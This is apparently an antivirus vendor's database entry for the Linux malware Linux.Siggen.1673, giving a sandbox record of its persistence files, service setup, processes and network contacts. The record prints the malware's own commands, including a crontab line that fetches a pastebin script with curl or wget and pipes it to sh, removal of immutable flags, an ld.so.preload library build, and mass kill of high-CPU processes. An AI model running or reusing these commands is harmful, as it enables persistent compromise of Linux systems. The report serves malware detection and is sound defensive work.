Для коректної роботи нашого сайта необхідно включити підтримку JavaScript у Вашому браузері.
Linux.Siggen.1673
Добавлен в вирусную базу Dr.Web:
2019-05-09
Описание добавлено:
2019-05-09
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/etc/init.d/netdns
/etc/init.d/.depend.boot
/etc/init.d/.depend.start
/etc/init.d/.depend.stop
/var/spool/cron/crontabs/root
/etc/cron.d/root
Creates or modifies the following symlinks:
/etc/rc0.d/K01netdns
/etc/rc1.d/K01netdns
/etc/rc2.d/S01netdns
/etc/rc3.d/S01netdns
/etc/rc4.d/S01netdns
/etc/rc5.d/S01netdns
/etc/rc6.d/K01netdns
Malicious functions:
Launches itself as a daemon
Compiles a program from source codes:
gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
Manages services:
systemctl enable netdns
/usr/sbin/update-rc.d netdns defaults
systemctl daemon-reload
/usr/sbin/update-rc.d netdns enable
Launches processes:
<SAMPLE_FULL_PATH> [edac-poller]
<SAMPLE_FULL_PATH> [kpsmoused]
/bin/bash -c chattr -i /usr/lib/systemd/system/netdns.service
chattr -i /usr/lib/systemd/system/netdns.service
/bin/bash -c chkconfig --add netdns
/bin/bash -c systemctl enable netdns
/sbin/insserv netdns
/bin/bash -c chattr -i /usr/local/bin/kerberods
chattr -i /usr/local/bin/kerberods
/bin/bash -c chattr -i /usr/libexec/tmp/kerberods
chattr -i /usr/libexec/tmp/kerberods
/bin/bash -c chattr -i /usr/bin/kerberods
chattr -i /usr/bin/kerberods
/bin/bash -c chattr -i /tmp/kerberods
chattr -i /tmp/kerberods
/bin/bash -c chattr -i /etc/ld.so.preload
chattr -i /etc/ld.so.preload
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.so
chattr -i /usr/local/lib/libboost_timed.so
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.c
chattr -i /usr/local/lib/libboost_timed.c
/bin/bash -c gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
/bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/LD1QaXpQ||wget -q -O- https://pastebin.com/raw/LD1QaXpQ)|sh\" | crontab -
crontab -
/bin/bash -c chattr -i /tmp/migrationds
chattr -i /tmp/migrationds
/bin/bash -c ps aux|grep -v grep|grep -v 'migrationds'|awk '{if($3>=80.0) print $2}'|xargs kill -9
grep -v grep
ps aux
grep -v migrationds
xargs kill -9
awk {if($3>=80.0) print $2}
kill -9
/tmp/migrationds
Performs operations with the file system:
Modifies file access rights:
/usr/local/lib/libboost_timed.c
/usr/local/lib/libboost_timed.so
/etc/ld.so.preload
/etc/hosts
/var/spool/cron/crontabs/tmp.2mJPwH
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
Creates or modifies files:
/tmp/.XIMunix
/usr/sbin/kerberods
/usr/lib/systemd/system/netdns.service
/usr/local/lib/libboost_timed.c
/tmp/ccSqQjoa.s
/tmp/ccn9LdsQ.o
/tmp/ccX2XtMx.res
/tmp/ccJcUBcB.c
/tmp/ccRg1eOi.o
/tmp/ccARC7p0.ld
/tmp/ccmf6d2H.le
/usr/local/lib/libboost_timed.so
/etc/ld.so.preload
/etc/hosts
/var/spool/cron/crontabs/tmp.2mJPwH
/var/spool/cron/root
/tmp/tmpf03ve97
/tmp/tmpf03ve97 (deleted)
/tmp/migrationds
/tmp/tmpfLMRpoE
/tmp/tmpfLMRpoE (deleted)
Deletes files:
/usr/local/bin/kerberods
/usr/libexec/tmp/kerberods
/usr/bin/kerberods
/tmp/kerberods
/etc/ld.so.preload
/usr/local/lib/libboost_timed.so
/usr/local/lib/libboost_timed.c
/tmp/ccARC7p0.ld
/tmp/ccmf6d2H.le
/tmp/ccJcUBcB.c
/tmp/ccRg1eOi.o
/tmp/ccX2XtMx.res
/tmp/ccn9LdsQ.o
/tmp/ccSqQjoa.s
/tmp/migrationds
/tmp/tmpf03ve97
/tmp/tmpfLMRpoE
Network activity:
Establishes connection:
<LOCAL_DNS_SERVER>
10#.#0.208.21:9
10#.#0.209.21:9
[2######00:10::6814:d015]:9
[2######00:10::6814:d115]:9
10#.##.208.21:443
10#.##.209.21:443
10#.###.53.213:51640
DNS ASK:
pa###bin.com
sy###mten.org
Sends data to the following servers:
10#.##.208.21:443
10#.##.209.21:443
10#.###.53.213:51640
Receives data from the following servers:
10#.##.208.21:443
10#.##.209.21:443
10#.###.53.213:51640
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Рекомендации по лечению
Linux
Демо бесплатно
На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)
Завантажте Dr.Web для Android
Безкоштовно на 3 місяці
Всі компоненти захисту
Подовження демо в AppGallery/Google Pay
Подальший перегляд даного сайта означає, що Ви погоджуєтесь на використання нами cookie-файлів та інших технологій збору статистичних відомостей про відвідувачів. Докладніше
OK